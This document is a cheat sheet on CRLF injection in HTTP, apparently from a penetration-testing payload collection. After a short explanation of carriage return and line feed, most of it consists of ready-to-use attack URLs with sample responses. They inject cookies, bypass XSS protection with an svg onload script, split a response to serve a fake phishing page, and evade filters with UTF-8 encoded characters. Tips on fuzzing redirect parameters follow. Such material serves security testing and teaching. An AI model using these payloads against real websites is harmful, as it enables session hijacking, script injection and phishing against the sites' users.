CRLF

> The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today's popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.

> A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.

Summary

CRLF - Add a cookie

Requested page

```
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
```

HTTP Response

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/[INJECTION STARTS HERE]
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
```

CRLF - Add a cookie - XSS Bypass

Requested page

```
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-
Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2
f%2e%2e
```

HTTP Response

```
HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0

23
<svg onload=alert(document.domain)>
0
```

CRLF - Write HTML

Requested page

```
http://www.example.net/index.php?lang=en%0D%0AContent-
Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-
Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-
Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
```

HTTP response

```
Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>You have been Phished</html>
```

CRLF - Filter Bypass

Using UTF-8 encoding

```
%E5%98%8A%E5%98%8Dcontent-
type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%B
Csvg/onload=alert%28innerHTML%28%29%E5%98%BE
```

Remainder:

- %E5%98%8A = %0A = \u560a
- %E5%98%8D = %0D = \u560d
- %E5%98%BE = %3E = \u563e (>)
- %E5%98%BC = %3C = \u563c (<)

Exploitation Tricks

- Try to search for parameters that lead to redirects and fuzz them
- Also test the mobile version of the website, sometimes it is different or uses a different backend

References

- https://www.owasp.org/index.php/CRLF_Injection
- https://vulners.com/hackerone/H1:192749